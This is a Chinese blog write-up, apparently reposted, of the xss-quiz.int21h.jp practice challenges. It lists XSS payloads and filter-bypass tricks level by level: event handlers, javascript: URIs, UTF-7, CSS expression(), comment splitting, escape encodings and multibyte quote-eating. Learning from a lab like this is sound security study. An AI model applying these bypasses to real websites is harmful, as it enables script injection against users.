xss challenges平台學習


     雖然在很早之前就接觸過xss,有一段時間還就着一本書研究過,但是始終沒有實感,掌握的也不夠系統,所以現在借着這幾個平台再學習一遍

     首先來玩一玩xss challenge平台

第一關:http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

  

第二關:http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1

     提示:close the current tag and add SCRIPT tag...

    

第三關:http://xss-quiz.int21h.jp/stage-3.php?sid=93de7707279b3a5ae4ce419bfc7c0b1f380a20f6

     提示:The input in text box is properly escaped.

     嘗試輸入查看源碼發現<>被轉義了,於是抓包在country的位置插入xss

    

     成功

    

第四關:http://xss-quiz.int21h.jp/stage_4.php?sid=be5650b31307cf0ca1927eae2e4b755d72a4162c

     提示:invisible input field

     嘗試在search和country處插入xss,但是查看源碼發現都被轉義了

     同時,在抓到的包中發現存在參數p3,於是嘗試在p3處插入語句,出錯了,看了下源碼,發現需要閉合

    

     再來一次,成功

    

     在源碼中可以看到,改了之后的語句成功的閉合了input

    

第五關:http://xss-quiz.int21h.jp/stage--5.php?sid=92e1efdf82ec7681dc71fd4b5b15470cce1bbe27

     提示:length limited text box

     嘗試在search處插入xss,發現存在輸入長度的限定,於是想到可以用burp抓包,然后再修改search的值

    

     但同樣的這里也需要閉合,修改一下再發一次

    

     成功了

    

    

     還有一種方法,直接改maxlength=15

第六關:http://xss-quiz.int21h.jp/stage-no6.php?sid=10284e95452262a58b13c86015336f4489b6152e

     提示:event handler attributes

     輸入"><script>alert(document.domain)</script><發現“<>”被過濾

    

     那么可以用onclick在input中觸發:" onclick=alert(document.domain) id="a

    

     然后點擊輸入框

    

第七關:http://xss-quiz.int21h.jp/stage07.php?sid=2e71a47a9c7061dcce2b9205b52f4252bd53b443

     提示:nearly the same... but a bit more tricky.

     和上一關一樣,這里的"<>都被轉義了

     但事實上,用" onclick=alert(document.domain)還是可以插入,因為前面的"不影響后面的onlick點擊事件

     還有一種方法:1 onmouseover=alert(document.domain);

     onmouseover:事件會在鼠標指針移動到指定的元素上時發生。

    

    

第八關:http://xss-quiz.int21h.jp/stage008.php?sid=8407d42ea5cf46b072f5a358abffa591a449a2ba

     提示:the 'javascript' scheme.

     scheme:屬性設置或返回用於解釋 content 屬性的值的格式

     也就是,用js的偽協議,當點擊鏈接的時候彈出窗口

    

    

第九關:http://xss-quiz.int21h.jp/stage_09.php?sid=fcf3010be4306306e9668ee51b9d6916c0b3e129

     提示:UTF-7 XSS

     "<>都被轉義了,當然也不能用onmouseover和onclick,根據提示,用UTF-7編碼解碼工具,將" onmousemove="alert(document.domain)轉為UTF-7編碼:

     p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

     這個對使用的IE瀏覽器有一定的限制,大部分瀏覽器都已經修復了這個漏洞,但IE7還沒有

     因為我的實驗環境沒有IE7,所以這里直接用的另一個簡單粗暴的方法:

    

     firebug是很強大的...

第十關:http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a

     提示:s/domain//g;

     很尷尬,他把domain過濾了

    

     但是可以這樣,很常見的方過濾方式:

    

第十一關:http://xss-quiz.int21h.jp/stage11th.php?sid=4a4c328baf358d9bf01befc79228e70d25549025

     提示:s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;

     對script進行了過濾

    

     試試onclick和onmouseover,還是不行

    

     於是想到可以用<a>標簽:"><a href="javascript:alert(document.domain);">here</a><"但是,因為對script做了過濾,所以要將script中的某個字符轉為unicode編碼,或者可以插入&#09;不可見字符

    

第十二關:http://xss-quiz.int21h.jp/stage_no012.php?sid=66a49c46b3d8e490003681f359c7b8b14ba174c8

     提示:s/[\x00-\x20\&lt;\&gt;\"\']//g;

     <>"被過濾,根據提示可以知道x00-x20&lt;&gt;,"'都被過濾了,但是`還沒被過濾,於是可以用`加上onclick,onmouseover,onfocus均可,還有一個前提是IE,只有IE才有這個特性

    

    

第十三關:http://xss-quiz.int21h.jp/stage13_0.php?sid=ea59af045ae260dd938d73d6cbbd1c92a6806e06

     提示:style attribute

     在CSS樣式中利用expression實現javascript中的onmouseover或onmouseout事件,同樣前提是IE

     aa:expression(onmouseover=function(){alert(document.domain)})

     還有一種:

     background-color:#f00;background:url("javascript:alert(document.domain);");

    

第十四關:http://xss-quiz.int21h.jp/stage-_-14.php?sid=88e5796eaebea97fe2b0cd79df9fbc9edad3ab9e

     提示:s/(url|script|eval|expression)/xxx/ig;

     這里過濾了expression,url,eval,script,但是通過加入注釋符可繞過:here:expre/**/ssion(onmouseover=function(){alert(document.domain)})

     或者:here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));

    

      還有幾種繞過過濾的方法:加\,加\0,將e轉碼為\0056

第十五關:http://xss-quiz.int21h.jp/stage__15.php?sid=1e785fb96bdb203c00b034203ee574681d1b4403

     提示:document.write();

     被過濾

    

     有幾種方過濾的方法:

     第一種:換成16進制編碼\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

    

     第二種:換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

第十六關:http://xss-quiz.int21h.jp/stage00000016.php?sid=d3e7f2565164c8482f758c4a887073bc36bccc45

     提示:document.write();" and "s/\\x/\\\\x/ig;

     第一種:換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

    

     第二種:換成十進制\\74script\\76ealert(document.domain);\\74/script\\76

第十七關:http://xss-quiz.int21h.jp/stage-No17.php?sid=a207c91d7b4cb2634e277df104c853554347e8ca

     提示:multi-byte character

     思路類似於寬字節注入,利用特殊字節吃掉雙引號,於是抓包修改p1,p2

     p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

    

第十八關:http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851

     提示:us-ascii high bit issue

     將每個字符的二進制最高位置為1,然后再轉為16進制

     故"><script>alert(document.domain)</scirpt> 就轉換為%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

     但是前提還是用舊的IE版本IE5,6

    

第十九關: http://xss-quiz.int21h.jp/stage_--19.php?sid=8e654fc6c2fe93f2c8bd38fbc6ad6b1588d859c7

     提示:Twitter DomXss at Sep 24, 2010

 

參考文獻:

http://blog.csdn.net/nixawk/article/details/28038509

http://www.2cto.com/article/201509/441858.html

http://blog.csdn.net/emaste_r/article/details/16988167


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM